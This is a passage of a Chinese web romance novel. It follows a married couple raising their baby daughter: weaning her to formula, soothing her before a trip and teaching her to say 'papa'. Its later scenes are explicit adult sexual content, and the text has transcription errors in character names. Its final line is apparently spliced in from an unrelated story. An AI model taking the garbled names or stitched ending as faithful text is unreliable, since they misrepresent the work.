陈蝉衣就受不了。 果然新手父母, 外外心疼, 连该喂奶粉都纠结很久 李潇轻轻掩好门,望着她模样,眼底闪过微不可笑意: “你不是还叮嘱我不要心软?怎么现在这么急。 “怕她哭嘛。”她小声道,“她哭了没啊?我有点后悔了,逼她喝奶粉太残忍,我有点不想了。" “可是她总归有一天得喝奶粉。” 她感觉他说得怎么这么冷静,顿时有些委屈:“看她哭我会不得啊。"李潇没讲话,往客厅走。她亦步亦趋跟过去:“你快说,到底怎么样嘛。客厅茶几亮着电脑,他重新撑沙发坐下:“没怎么样,就是哭了一场,不过后面嗓子哭哑了,也就愿意喝.….“她嗓子哭哑了?" 陈蝉衣一个抱枕砸过去,气坏了,“她是你亲生的吗?她是小女娃,嗓子很重要!你居然害她哭,嗓子还哑了,真是疯了,我跟你没完!她拳头就要砸下来,李潇眼疾手快一把住,捞过她腰肢搂进怀里。他笑了:“气什么。陈蝉衣眼圈都红了:“那是你姑娘吗,难不成是我跟别人生的?你怎么这么坏!"气死她了真是气死她了,不会哄就喊她嘛!还让小宝哭了一场,冷漠无情的男人,男人都这样!她拳头像雨点狂砸,力道倒是不重,但是显然真被气狠了。李潇抿住笑,心里被她弄得又酸又软。是谁之前还说绝不心软? 最心软的就是她了。“先不打。”他握住她拳头,放唇边亲了亲,“给你看个东西。她发够了脾气,念在好歹还有多年感情,勉强愿意给他条活路:“嗯?"李摸出手机打开相册,翻到刚才拍摄的视频,展示给她看:“小宝喝奶,很乖。视频里,小团子捧着个奶瓶,正吧嗒吧嗒喝得爽快,她看起来是真的很舒服。起码她枕在她爹掌心,粉嫩嫩的小脸蛋,莹润光泽,就像小河蚌里孕育的珍珠。她确实是掌上明珠。 陈蝉衣看见视频,明白过来是逗她,无语得要死,恶狠狠锤他一下:“那也要骂你,明知道我很担心。"李潇胸膛闷笑,顺势让她坐在身前地毯,他长腿略微支起,把她圈在中间,下巴垫在肩膀,从身后抱住她.其实很幼稚的姿势,可李潇不知为何就是喜欢。 他开着电脑修改数据,抱着她办公,陈蝉衣就窝在他怀里,她看不懂那些专业性的东西,乱糟糟一堆数字,在她眼里像乱码。 可她不会走,有时候实在没事做,会抱着自己的小平板,窝在他怀里看综艺。 头顶男声忽地懒懒散散:“其实我平时不看那些综艺。陈蝉衣扬起脸望他:“是因为我让你看才看的吗?" “嗯。”他低声说,“我从不看那些,从前,是因为没时间,到了后来,从监狱里出来,逐渐也觉得那些节目,笑得好闹,笑得好吵。 他前半生大多数时候,生活在污泥沼泽里。 满手污秽,沾满很脏泥泞。 而她却美好鲜活,她爱看那些哭哭笑笑,在他看起来完全是癫子演戏的综艺。 他看出去一片灰暗。 她的世界却是彩色的。 “如果不是你,愿意和我住在一起,每天晚上等我回家吃饭,每晚都在吃饭的时候放这些小品、综艺,睡觉前喊我陪你看电影。"他顿了顿:“那些关于精神上的,很美好的东西,我或许这辈子不会看一眼。他把她的手贴在心脏处,没看她,视线仍然不轻不重望着屏幕,微亮的光映照在轮廓,他三十一了,男人的成熟愈发凸显,下颚棱角分明。客厅里很安静,忽略卧室里还有个乖乖睡觉的小宝,整个世界,好像就剩下他们两个人。 陈蝉衣静默片刻,忽地撑着地毯直起身,勾住他脖颈,往男人下巴上贴了个香喷的吻。“我们出去玩吧?” 他视线落到她身上,陈蝉衣唇角一弯,笑容甜蜜:"你不会觉得生完小宝,我们就没二人空间了吧?我才不要,把她给外公带嘛,我们出去玩呀。李潇紧抿嘴唇,看起来像是心不在焉沉默着,然而细微的表情变化却能曝露出情绪。他顿了顿,迟疑了片刻:“我们两个去?" “对啊。"她很认真说,“你不觉得我们这个老夫老妻模式进展得有点太快了吗?你刚回来不久,我就怀孕了,接着一年都是怀小宝的状态。后来圆圆生出来了,我俩又一直在带她。 她想了想不高兴:“不要嘛,我们的夫妻生活呢?小两口的情,趣呢?怎么都没了。 李潇性格内敛,是表里如一,外表冷漠,心里也很顾家,除了回家基本不会想到哪里去。 可是陈蝉衣不一样,她只是性子柔软安静,不代表她就想每天如出一辙生活。她想去玩,想去看很多好看风景,还想去冒险.…总之是想去做很多很多有意思的事情。 否则之前去大西北,就不会让她这么多年,念念不忘。 她的世界,其实确实比他更绚烂些。 他是笼罩在黑夜里沉默的群山,然而她是自由的小羊,她要经常换片草场啃草的,不然也太无聊了。 就是不知道,他愿不愿意出去哦? 小姑娘还挺期待的,眼睛乌溜溜看着他,说起来也很惭愧,他刚回来的时候,完全是出于一己私欲。那时候太没有安全感了,太想把她捆在身边,不计用任何形式和手段。 谁家男朋友证没领,敢和她无套上阵的? 他自己也知道有点混账,不过当时他心里的恐慌,那种失而复得,又害怕再次失去的焦虑,她看得清楚,安抚他才答应罢了他让她等他那么久,刚回来没几个月就要做妈妈,确实很不应该。 像她说的,两个人的世界还没过完呢,娶她回来又不是为了生女儿的。男人呼吸沉了几分,最后眉眼稍敛。他垂眸望着她,尽量语调平静:“好,你想去哪里,我陪你。 108、痛快想你 11 然而话是这么说,事实上从陈蝉衣开始收行李,她就发现不对劲了。崽崽好像意识到自己要被丢下了,那几天格外乖,她的婴儿床暂时还是放在主卧的,毕竟年龄还太小了嘛,晚上要照顾患崽, 可是他们收行李也在主卧,两个人旁若无人,商量带什么东西。 这次打算是去海岛,具体哪个还没定,基本的却准备好了,防晒霜,防晒衣,陈蝉衣还带了墨镜,给自己买了顶漂亮草帽,一条碎花裙。 她和李潇说说笑笑。 崽崽就在一边安静地看,还是捧着奶瓶,只不过已经没在喝奶了,就是叼着奶嘴而已那时候是九月,李潇向研所请了假,特地选择错峰出行,避开人流高峰.而崽崽也已经五个多月大了。 被人抱着能坐起来玩玩具,靠自己也能暂时坐一会儿了。 可是还是软软的一点点,李潇给她弄了个新被窝,是粉色小碎花的,特别柔软舒服,枕头也换成了小熊图案,平常患患都爱不释手,没事会“咿咿呀呀”和小熊仔说话。 今天一句话也没有。 小宝的小床上有很多玩具,除了她妈咪自己平时积累的jellycat,还有很多后来新加入的成员。 而且李潇这个男人,确实毫无情趣。不确定崽患喜欢哪个体型,也考虑到她会长大,于是各种cm都买了一遍。 家里光紫色茄子就有五个。 宝宝平时最喜欢的就是茄子,现在默默搂着茄子,不讲话。她人又小,发不出什么声音,等到李注意到,她已经维持那个姿势很长时间了。陈蝉衣意外:“呀,崽崽,你能自己坐这么久了哦?"小宝没吭声。 李潇觉得不太对劲,走过去把崽崽抱起来,小宝非常软,身上有小婴儿特有的甜腥香气,她大眼睛像葡萄,平常很呆萌,现在轻轻垂下眼睫,却显得很忧郁。 李潇托起女儿软嫩的下巴:“嗯?圆圆,怎么不玩茄子了?"宝宝还是低着头,叼着奶嘴,片刻后,她一点一点把瓶里奶粉喝完,搂着小茄子,滚到小床的角落趴着了。平时小宝就很安静,不吵不闹,喜欢自己玩玩具,因此她滚到角落,两个人最初都没发现有问题。 直到晚上将近十二点多,陈蝉衣要睡觉了,发现李有点心不在焉:“怎么了?"李潇视线望着婴儿床,低声道:“感觉圆圆今天不是很高兴。 圆圆幼崽时期,性格非常像爸爸,是那种不爱表达的小女孩,很安静很乖,很好带,几乎从不闹脾气。然而这也意味着,会让人忽略她的需求和想法。陈蝉衣不是这种性格,可能会察觉不出来。李潇却看得出来宝宝不高兴了。陈蝉衣心里微愣:“为什么,今天惹她生气了吗?"李潇想了想:“今天当着她面收行李,她是不是难受了?"陈蝉衣几乎立刻瞪大眼睛:“真的假的,她这么小,她能知道我们要去干什么?"可是很多小朋友,都会对父母的感情分外敏感,她家圆圆要真是李漾那种性格,心思细腻柔软,还真有可能以为他们要把她丢下,自己不高兴又不讲出来。陈蝉衣深觉误会大了,抱着被子凑到宝宝小床:“小宝?"家里对小公主叫法很多样,几乎是混着来,圆圆起先懵逼,后来也习惯了,反正满是亲昵的称呼,就是家里人对她的爱意。圆圆肩膀动了动,面朝着床里围栏,她默默搂着最大号的紫色茄子,茄子很柔软,有两个黑色豆豆眼,和一个很小的微笑,圆圆没翻身,只能听到很微弱的呼吸起伏“小宝,调过来给妈妈看看?" 李潇看她没动静,翻身到床里,把崽崽抱了起来。 崽崽人小,争不过他,慌得赶紧闭上眼睛。 可是来不及,还是被他看到挂在长睫毛上的泪水。 小宝长得很秀气,连那滴泪也是摇摇欲坠的,让人心疼得不得了,李潇本就喜欢崽患,眉整起,一下子心就慌了:“嗯,宝宝,圆圆,怎么哭了?不哭不哭。 声音温柔极了。 小女娃,不哄还好,一哄简直委屈得要翻天。 崽崽抱着超大茄子,啪嗒啪嗒掉眼泪。 她还不会讲话,平时想吃什么,想玩什么,都是用手指指,再配合些很可爱的咿呀,现在不发出声音了,沉默地缩成一小团,李漾心都碎了。 俩人哄了好久,越哄崽崽哭得越委屈,陈蝉衣到后面几乎都手足无措了。小宝有这么难哄吗?不是换奶粉的时候都一声不吭的吗!到最后已经是半夜了,可怜崽患才止住哭腔,团子般软绵绵趴在爸爸胸膛上,哭累了,不高兴地扁着个嘴巴陈蝉衣差点吓死了:“崽崽,终于不哭咯?"小宝不理她,揪茄子的小肥肚子,可爱又让人心软。李潇大概理解发生什么事,低着头和小宝讲话:“是因为爸爸妈妈要出去旅游才哭的吗?"小宝也不理他。李潇继续:“以为爸爸妈妈不要思患了,患患难过就哭了?" 小宝手顿了顿。她还不懂什么叫旅游,也不是很懂自己的心情,她就是隐约觉得,爸爸妈妈要走了,不带她了,她忽然就想掉眼泪了“乖宝。”李潇失笑,揉揉她绵软还有些稀疏的发,“爸爸妈妈怎么会不要小宝呢?爸爸妈妈只是出去玩一段时间,会回来的啊。但是崽崽才不听呢,撅起个小嘴,意思是不满,才不要他们出去玩呢,就要陪她嘛。好娇的小女孩,李漾胸膛闷笑,捏住她牵着他衣摆的小手,转头和陈蝉衣悄悄说:“像你。”陈蝉衣觉得他这话促狭得不得了,臊得慌:“我小时候才不这样呢。"“是吗,没见过。”崽崽哭得疲倦,睡着了。 李潇轻手轻脚把小惠放回碎花小床,翻回去和陈蝉衣咬耳朵:“有没有什么办法,你变成小时候的样子,给我看看啊。陈蝉衣想锤他:“做梦呢,难道真有穿越时空的机器啊?""万一呢。"“哪有万一。" 李潇看着她眼睛:“可是我真的想看看你小时候的样子。"他哑声说,“肯定很可爱,和崽崽一样可爱,我就陪你做游戏。陈蝉衣抿嘴笑,有了点兴趣:“然后呢?" “然后,就偷偷把你抱回去,关家里养,谁也不许看,只有我能看,以后长大了,也只能当我新娘,那个时候比你大那么多,你肯定逃不掉,我觉得还是你喊爸爸比较好听。 眼看他越说越离谱,陈蝉衣连忙堵住他唇,黑暗里他眼瞳很亮,默不作声盯着她。 她心一紧,舔了舔移开:“不许说了,禁止做梦,我们就差两岁,这个年龄差不适合有daddy issues。 李潇沉默了会,表示遗憾:“好吧。 为了表示对崽崽的歉疚,以及表明真的没有不要患崽,陈蝉衣和李带患崽去了趟游乐园。 相当热闹,不过按照患崽的月龄,顶多只能逛一逛,再被抱着坐一坐旋转木马。 崽崽超爱旋转木马,原本李潇抱着她坐南瓜车,她偏不,停下来的时候,伸出小手:“咿咿呀呀。 非要去够旁边一匹骏马。 那匹马异常俊美,主要是很高,棕色的,油彩做得很精致漂亮,患患年纪小,但是就爱这些纸醉金迷的东西。 李潇看得好笑,把崽崽小手扒下来:“不可以哦,圆圆还小,不能坐小马。 崽崽根本不听,继续扒。 她在家里被宠坏了,反正要什么东西,和爸爸咿呀两声就有了,现在说什么都没有用。 陈蝉衣也不许她玩:“拒绝小马,不允许小马,等崽崽一岁了再玩。 圆圆非常不高兴,嘴巴一扁,搂着茄子气鼓鼓扭到一边了,小屁股对着她。 茄子才是崽崽永恒最爱,到哪都要带着。 大号茄子她拿不动,就专门用来抱着睡觉,出门就带小号茄子。 紫茄子上有崽崽的口水,陈蝉衣之前好嫌弃:“一点也不卫生。”动手给洗了。 结果崽崽摸到干净茄子大哭。 她就要臭臭的茄子嘛,那上面有她自己的味道,她闻着安心呀。 李潇都不敢给她洗,小公主,脾气越发大了,虽然崽崽很爱他,但是洗了茄子也是会哭鼻子的。 园区游客人来人往,陈蝉衣请别人给他们一家三口拍了张照片。 “我现在知道你买那么多相机有什么用了。”她喜滋滋地翻看照片,“真好看,我还是喜欢这台,色调好漂亮。 李潇弯了弯唇:“庞正平说,香港还有别的,可以抽个时间去挑着玩。 崽崽在啃小茄子脑袋上的绿叶。陈蝉衣蹲到崽崽面前:“小宝,你想去迪士尼玩吗?”小宝疑惑地抬头,什么迪士尼,不懂啊,不认得嘛。“就是这个。”陈蝉衣找了几张卡通人物的图片,“你看,你看的动画片,还有之前小陆叔叔送你的毛绒小包,就是里面的人物哦。 小宝这下懂了,非常欢喜点点头。 她喜欢那个包包,粉粉的超级可爱。 里面打开还有宝石,也是小陆叔叔塞的,好漂亮,金碧辉煌 亲娘看一眼就知道崽在想啥,陈蝉衣起身,悄摸跟李潇耳语:“完蛋,看见没,患她就喜欢这种有钱东西,以后肯定得被有钱老男人骗走。她拍拍他肩:“先不说她像你还是像我,我觉得都不像但是麻烦你个当爹的以后把把关,不要老男人,不要!"李潇是真的差点笑死。 109、痛快想你 12 李思沅小朋友画风,比较蠢萌,具体表现为,人家小朋友,一岁已经会说话了,可是圆圆还不会。小丫头情绪感知很早慧,说活这方面就差一些,咬字还不准,李潇带娃其实不能说完全没经验,毕竟暮雨出生的时候,他已经上初中了,那时候赵舒婉和他继父感情很不顺,责备打骂是常有的事。暮雨还在摇篮,赵舒婉不敢把她抱出来,在那男人眼下晃,都是李放学了去照顾。暮雨的幼年时期,或许李潇比赵舒婉更清楚几分。真正没经验的只有陈蝉衣,新手父母很无错,幸好她还有李可以靠。但是既然给她靠了,李潇也不能说是完全没有私心,譬如他教崽崽说话,第一句教的就是“爸爸”。陈蝉衣懒得说他,他就这点爱好了,每天从研所回来,脱掉工作服就开始教崽崽喊人,乐此不疲,算了算了,满足他算了。 家里就崽非常不给面子。 小家伙咬字不清晰,“爸爸”听着软绵绵没力道,跟“趴趴”差不多。李潇也疑惑, 患崽牙齿也不漏风啊,怎么就教不明白呢,陈蝉衣都听累了,脑袋搁他肩膀上:“我都会了……她要是再喊不明白,我都想替她喊了。崽啊,争口气。被寄予厚望的蒸汽机·崽,眨着圆溜溜大眼,地说:“趴趴!"李潇很绝望。 更气人的是,崽喊“爸爸”喊不会,有天他坐在沙发地毯办公,陈蝉衣偎他身边看平板,顺便喂他车厘子小宝摇摇晃晃,迈着小短腿扑进陈蝉衣怀里:“妈妈!”陈蝉衣眼睛一亮:“呀,崽,你会说妈妈了喔!" 崽崽被夸了,超级高兴,亮晶晶的嘴巴给了妈妈一个吻。她爹全程一句话没讲。根本就不嫉妒,一点也不生气,就是觉得屏幕这些数字,怎么就那么糊呢。男人神色僵了僵,继续面无表情输入陈蝉衣不动声色起身,把小宝抱去餐厅,给她擦了擦口水,小声说:“完蛋了,患,你爹伤心了。小宝葡萄眼瞳湿漉漉的,好像明白了,又好像没往心里去,眼睛眨了眨,继续啊呜啃小拳头。 到了晚上,她可能发现她爹,是真的有点难受了。 本来她爹话就不多,一般和崽崽讲话,教她,都是很言简意赅,尽管温声细语,可是和会花里胡哨肯定没得比。 小宝到现在也没喊明白他,他其实心里很受挫。 他最近工作也多,通常是都在研所加班的,他想回家跟患患讲话,就加班到家里来了可是小宝感觉像是不待见他。教了那么久,怎么就连发音都纠正不过来呢?他也知道,根本不能吃妻子的醋,可是他就是有点儿…难受。李潇抬头,看了眼小床边站着的崽崽,还有正帮崽崽擦头发,换好睡衣带着笑容的姑娘。小宝小手挥了两下,她咯咯直笑。 母女俩那么热闹。 莫名其妙的,他忽然感觉,他是这个家的外人。 李潇别过眼,继续看眼前的屏幕。 陈蝉衣老早就注意到他了。他就是个快蔫了的木头,感觉马上就嘎,不发芽了!她赶紧把惠崽抱到床中间,拍了拍小宝屁股意思很明显:谁惹伤心的谁去哄。 崽崽这会儿真是智商在线,明白自己使命的重要性。她爹三十岁上,不至于说还像以前那么自卑,可是总归有心理阴影。 小崽非常明白这一点。 床很软,她摇摇晃晃,走到床中间,走不动。 干脆趴下来,手脚并用,往她那个快要枯萎的爹身边爬。 李潇意识到床铺塌陷,抿了抿唇,神情未变,漆黑的眼瞳仍然安静望着屏幕,幽暗光芒映照在他脸廓崽崽停顿了会,看爸爸并没看自己,不禁有些迟疑。不过很快,她继续往前拱,从爸爸臂弯缝隙挤进去,整个人大字型趴在胸膛上,啊鸣一口,心满意足叼住了李潇的衣领.崽崽这个年纪,还不知道什么能吃,什么不能吃,李之前有教过她,可惜崽太馋了,老是忘。 担心女儿叼着衣领不太好,李潇停手,视线终于移到胸前那团软绵绵上:“不可以吃衣服。 崽崽听不懂,叼得很起劲。 李潇跟她沉默了会,发现这崽是真的不打算松口,心里微叹气,把衣领从崽嘴巴里扯出来:“都是口水了。 太坏了,小团子。 他老婆有时候也蛮喜欢咬人的,可也没把他衣服弄得全是口水过。 顶多有点别的水。他眉宇里压着艰涩难懂的情绪,小宝领悟不了,小宝只知道嘴巴里叼的没了,爸爸还是很不高兴没办法,只能又往前挪挪,一口嘬在了男人下巴:“趴趴。李潇抿唇。小崽很黏人,这点和她妈妈如出一辙。当年她妈咪就是靠这一套,天真的无瑕的,可又带着十足亲昵的动作,在暴雨夜出租屋停电的夜晚,逼得他不得不转身掉头,不得不面对,重新回到和她感情的纠葛中。小崽无师自通。 李潇低眸,看怀里那粉团子,正专心致志,心无旁骛似的用口水,在他下巴冒出来浅浅的胡茬抹匀,心里很愁。他觉得他妻子说得对。这小崽恐怕真的会被老男人有目的拐走, “好了。”他拍拍崽患屁股,“今晚上不看动画片了?"小崽忘记抹口水,懵了两秒,亮晶晶抬起眼睛:“啊啊。”看啊看啊。 李笑了笑,电脑上切半边屏幕,给她放她每晚看的动画片。 其实这就是不生气了,他也不会真的和崽崽生气,就是崽崽没喊对爸爸,他难免失落而已。 可是晚上崽崽又尝试了,还是只能发出“趴趴”的声音,崽崽也很苦恼,崽崽也不是故意的,李潇低头望着小宝皱巴巴的小脸,心道自己究竟气什么。 小崽也很努力了,算了,别计较了。 他把小宝抱怀里,右边屏幕处理事情,左边小崽看电视。崽患缩成一小团,啃自己的小拳头,偶尔发出咯咯笑声她挺快乐,尽管没人知道她在快乐什么。李潇望一眼她,弯唇,眉眼也放松了几分。 焦崽晚上睡觉的时候,睡在小床,陈蝉衣凑过去和李满咬耳朵:“我想了想,我觉得患康也不是故意不喊你,她才多大,根本连一点自我意识都没有,发音顺嘴,她就说了,跟爱不爱你可没关系,李潇轻声说:“我知道。 那时候春寒料峭,春夜冷意还未褪去,京城供暖却停了,两个人窝在被子里彼此取暖,说悄悄话都是蒙着声音,温热气息交织,渐渐密不可分。陈蝉衣最喜欢这种天气,盖层厚被子的天气,被他从被子里抱住,下巴搁在颈窝,她捏着他粗粝的手指,跟他说私密的话。“你知道?”她有点好笑,调侃他,“那你为什么像是要被丢掉一样,样子特别可怜,你都看不到。她觉得他可怜,她用这个词形容他李潇咬了口她肩膀:“我没有。 “有的。 “没有。 “小宝都看到了,她都去安慰你了,好羞,你还要小崽安慰。 他横在她小腹的手动了动,抬手轻轻扇她腰:“胡说八道。 根本不疼,就是有点痒,尤其是对于她。陈蝉衣不知道为什么,可能是孕育过孩子,即便过了哺乳期,她身体的敏感度却没有随着退奶一齐消失,反而愈发高涨。 这样形容可能很夸张,但是,如果是怀孕以前,被他这样扇两下,她顶多觉得挠痒痒,趣味更多些,肯定已经笑着勾住他脖颈,开始主动亲吻他. 现在不是。 她窝着笑了两声,渐渐有点笑不出来。李潇当然察觉到她变化,先是身体再是情绪:“嗯?片刻沉默,被窝里蒙着看不清,但也能感觉到男人似乎挑着眉梢:“你是崽吗,也这么喊吗?" 她红了脸,有点窘迫:“为什么不可以,明明是你之前让我喊的。“可你上次也明确说,我们年龄差不大,不谈daddyissues的小宝。他说得理所当然还全然无辜,好像自始至终她才是主导者,他不过是听话顺从,所以这些问题源点绕到她身上来。陈蝉衣气晕了,在被子里蹬他两脚:“现在不是daddyissues,是爸爸的问题’,你不能这么无赖,你让我喊最后又赖上我。她足尖并不热,李潇轻笑。顺势捏过脚踝,把她拽到身前来:“嗯,所以现在你是改不掉了,你是想说这个吗?"那种姿势让两个人贴得很紧,陈蝉衣耳根发烫,脸上更红了:“我…”“嗯?" 她眼睫毛非常紧张地颤抖着,她能鲜明感受到他的变化,为什么会这样,他掌心已经不再摩挲了,可是她好像有点瘾了。怀孕之后都会这样吗?“你没回答我问题,小乖。”他轻声说,“说话。”房间里很安静,安静到只剩下她的呼吸,很深很重的,连他呼吸都是清浅的,正常的,就她不一样。陈蝉衣不知道他是想怎样。这什么羞耻的问题,怎么会有人这样问:“我不想说!" 被子好像越来越盖住头顶了,虽然,她也分不清,是不是因为害羞,她越来越往下缩。李潇也没捞她,随她沉下去,声音还是很平稳:“那就这样睡了?嗯,你和我说晚安。“我不说!" 他嗓音磁哑地笑:“这么生气吗,不然是我误会你了。李潇低眸,把陈蝉衣拉进怀里抱紧,那双漆黑深邃不见底的眼眸带有侵略性,危险又诱惑十足,她紧张揪着他衣襟:"不肯说晚安,是因为睡觉的时候没放进去吗。"他顿了顿,喉咙暗哑低沉:“还是因为没干你。 110、痛快想你 13 窗外淅淅沥沥雨声,春夜里连成珠串,陈蝉衣眼瞳瞪得很大,她像只受惊的兔子,无措又不安,紧紧扒着他睡衣,揉出好几条褶皱。他还是那个样子:“不说话吗?"陈蝉衣真的气恼,顾忌着这个房间并不是只有他们两个在,她咬了咬唇,只能用气音小声说:“"你越来越无耻了,坏蛋,我以前那个阿潇呢?你把他变哪去了,还回来!他心里闷笑,却还是平静附和:“嗯,吃了,shameless,我说我。陈蝉衣心里爬起熟悉的酥痒,其实李潇正常情况下,是不会这么表达的,夜晚和白天,他像是两个人。而有孩子在的夜晚,他也是会刻意收敛的,他不想在崽崽面前失态。可是很显然,孩子睡着,他内心一些渴望的想法,就会通通跑出来,钻进被窝里,或者说,这才是他自己。李漾耐心等待了会,看来她不会吭声了,他低头,轻轻住她睡衣的扣子,就像女儿叼住他衣领那样,牙齿磨动只是崽崽是为了和他表示亲密,而他,齿关一挑扣子被解开,颗颗崩裂在两边。他是想做点不太好的事。 “其实我有点后悔。”李轻声说,嗓音有点哑。掌心半扣住她的腰,将她更紧密压向自己,他则像是半匍匐在她身上,微微撑起身体,半低眸在她身前逡巡。觉察到危险,可也关心,陈蝉衣只好乖乖问他:“后悔什么?"李潇回答:“后悔是不是让你退奶退早了。"陈蝉衣愣了愣,下意识说:“没有啊。 她甚至没往别的地方想,小声解释:“哺乳太痛了,而且崽崽也很适应,当时缓了会儿再退,不是担心她不能适应吗?所以能适应了……为什么,还要退。李潇像是没听见,凑着去吻她嘴唇,那些吻温柔缠绵,甚至蔓延到鬓角,鼻尖,下颌,像一路蛇规流淌的温水,陈蝉衣被压在两边的手指碰到滴落的水珠,也可能是她本身就出汗了。“我不是后悔这个。”他亲吻时绷着脸,然而说出十分下流的话,“我后悔,为什么退那么早?我都没有吃过。衣服剥开露出,她哺乳期结束,那里比从前丰腴很多。李捧住边缘清晰的线,淡淡道:“现在强行催,还有吗?他真是变态,陈蝉衣气坏了,又羞涩地瞪他:“当然没有!""一直都不会有了吗。”语气好像很遗憾。她本来想说是啊,然而到底心软,听到他那种低落的语调,又想起那个词,可怜起他来 陈蝉衣很负责想了想:“也不能说一直没有,要是再怀孕,哺乳期肯定也会有的。”说得特别官方科普。她本意,其实只是抚慰。然而显然男人理解成另一种意思,李漾静默片刻,笑了,视线那么直勾勾,却又定定望着她:“嗯,你是在邀请我吗?"“邀请,什么?"“指的是怀孕。”他将大掌横在她柔软平坦的小腹上,微微用力,“受孕难道是一个人的事吗?" 他神经啊,陈蝉衣攥着男人粗很多的手腕,面红耳赤:“我没说再生一个!"李潇慢条斯理:“你刚刚科普了,小乖,没事别瞎科普,在我眼里和邀请没有区别,毕竟你害羞,正经的话肯定说不出口,难道要你承认,你想和我做,爱吗。她真的很少见他这么无耻的时候,腿在被子里蹬了蹬:“我不想!"他低声说:“你都是母亲了,还这么口是心非吗。陈蝉衣瞬间住嘴。他手指是又软又硬的触感,不紧不慢揉就能把她揉哭,她是有点口是心非,她确实还挺想的。喂育孩子结束,她身体的敏感程度,就到了全然不可控的地步,她想收束,那根线偏偏好像也不在她身上。掌根强行撑开腿弯,粗粝的纹路,或轻或重地摩挲最柔软的地方,陈蝉衣本来还绷着脸,心里默默发誓,坚决不做反应。两三分钟之后,她呜呜咽咽:“不行,呜呜,崽崽还在这里。“他好像低低笑了两声,起身把被子一卷,连人带被抱去了隔壁的小房间。 对于那天晚上的事,陈蝉衣不想回忆,也不想追溯。 总之就是,很羞耻! 虽然也挺爽的。 但是还是羞耻更多点。 她不知道正常男人能从哪里学到那么多东西,或者要么,男人这种生物,本就是无师自通? 甚至是一种禁欲。 看着就很正儿八经,让人心里发怵那种人。 事实也确实如此。陈蝉衣没和别的男人试过,肯定不好比较,但是现在网络那么发达,没吃过猪肉,还见过猪跑呢她看别人晒那种和男友共度春宵的repo,每个都是情话手,描述得非常详细到位。以及过程里,一些使用的词汇,她看看都觉得得慌。 结果,她把这件事给李潇说。得到的回答,仅仅是一句淡淡的:“你需要我说这些才能湿吗?"他坐在办公桌前,面无表情,然而说出的话让她心里一紧:“你不是只要看到我就会有反应吗?"啊啊啊啊他真的神经啊!陈蝉衣羞愤关了书房门,自己跑到客厅缩沙发角了。想想发现,他说得也有道理。她把帖子转发给许珈毓:【我觉得她说的不对。】许珈毓秒回:【我看看。】 看完之后:【靠,你怎么看这种东西。】许珈毓:【嗯哼,哪不对。】陈蝉衣拿李潇那句话回她:【我觉得我老公不讲这些我也有反应。】许珈毓:【。】许珈毓:【。】许珈毓:【。】 陈蝉衣:【你干嘛连发三个句号,我说的不对吗?】对方显示“正在输入中.陈蝉衣:【你对你老公不是这样吗?】输入中消失。 过两秒,陈蝉衣收到许珈毓发来的一条语音:“我真的求求你了,你可不可以收敛点!第二条:“万一被人看到怎么办啊!"第三条:“我真的会为你买防窥膜的,我真的会买的!"陈蝉衣板着个小脸,这件事很不好说吗?【干嘛,很见不得人吗。】许珈毓给她发了个“大拇指”。整件事起因要追溯到一个月之前,那时候崽崽长开了,渐渐不需要人时刻盯着转。她跟李潇,这么多年苦命鸳鸯。说来也很搞笑,谈恋爱那阵青春期,纵使再思春,毕竟还在上学,而且差两岁,他成年了她没有,亲密举动仅限于亲亲抱抱,连摸都是小心翼翼带着禁忌色彩。隔着衣服布料,碰一下,没了。别说感想了,连触感都不是那么明显,更别提有反应。紧接着分手,再重逢是七年后,说是在出租屋“同居”了很长时间,但三分之一时间真是在当室友。另外三分之二,是他女朋友他都不敢碰。陈蝉衣之前一直还以为,难不成这男人看着古板,事实上思想也这么古板?他难不成要等到婚后什么的?好吧理解,也尊重。 后面知道并不是,只是觉得可能以后不会在一起,他不想给她留下心里伤害。郑容微把她带回京城,雨夜山地摩托截停那辆车的当晚,他实在恐慌,害怕,无以复加。 和她发生了关系。 他问她后不后悔。 说实话她个人感触其实挺爽的,她就说:“不后悔。 好,结果这种好日子还没过两天,她就尝了个鲜,味道都没摸出来,又被迫终止。等他再回来都三年后了,这次进度倒是挺快,只是没做几次呢,她怀上崽崽了。她身体素质没有想象中那么好,孕期他也不敢做,拖拖拖,生产后顾忌她伤口,即使医生说已经恢复好了,他情愿多等等就这么来到今天! 陈蝉衣气死了! 有没有人关心她是正常成年人! 用许珈毓的话:【懂了,初恋哥不行,没喂饱你。】 她之前还叫李潇是“前夫哥”,现在人家小俩口早结婚了,许珈毓从善如流,改嘴称“初恋哥” 陈蝉衣:【鸣呜呜呜呜呜呜!!】 许珈毓:【别哭,宝。】 陈蝉衣:【他们都不理解我!】 许珈毓:【他们坏。】 陈蝉衣抹抹眼泪,发自肺腑提问:【为什么你老公哥这么身体力行?】 许珈毓:【?】 陈蝉衣:【好羡慕,不愧是我闺蜜,吃得真好。】 许珈毓:【。】陈蝉衣:【我也想让初恋哥变成这样,好禽兽,我最近比较喜欢这种就是禽兽不如。】许珈毓真的崩溃了:【姐,求你,你真的骂得好脏。】许珈毓:【别惹我笑了】许珈毓:【做,你现在就做,你现在就把我老公哥和你初恋哥的事迹匿名做个pdf,发网上审判,你看网友骂哪个。(双手合十)】 陈蝉衣:【。】 那还是算了,她说:【好吧,那你说,怎样才能让初恋哥这种性格的男人跟我睡觉呢?他为什么这么有道德感,他不能变态吗?】许珈毓:【真的要说吗,说了你又受不了,说了你又要开始盼姨妈。】陈蝉衣:【?】对面非常骄傲发来一句:【这样吧,我给你发点我收藏的情,趣内衣店,你去going他。(玫瑰)(玫瑰)(玫瑰)】陈蝉衣啪得摔了手机!啊啊啊啊啊她究竟当年是为什么和许珈毓这个女人玩到一起的啊啊啊啊啊啊!!….可能是因为某些时候确实是一类人吧。身后崽崽在搭积木,听到声响,非常疑惑呆萌地回了个头,看见她妈咪抱头缩在沙发小角落。 崽崽:“啊。” 看见她妈咪起身走过来,把她逮起:“崽。崽崽眨巴眨巴大眼。“你妈咪今晚有点事,你一个人睡小房间ok?" 崽:"?" 111、痛快想你 14 桑景云上辈子,曾经了解过细菌战,可惜的是,她的大脑不是电脑,不能记住自己看过的全部内容。 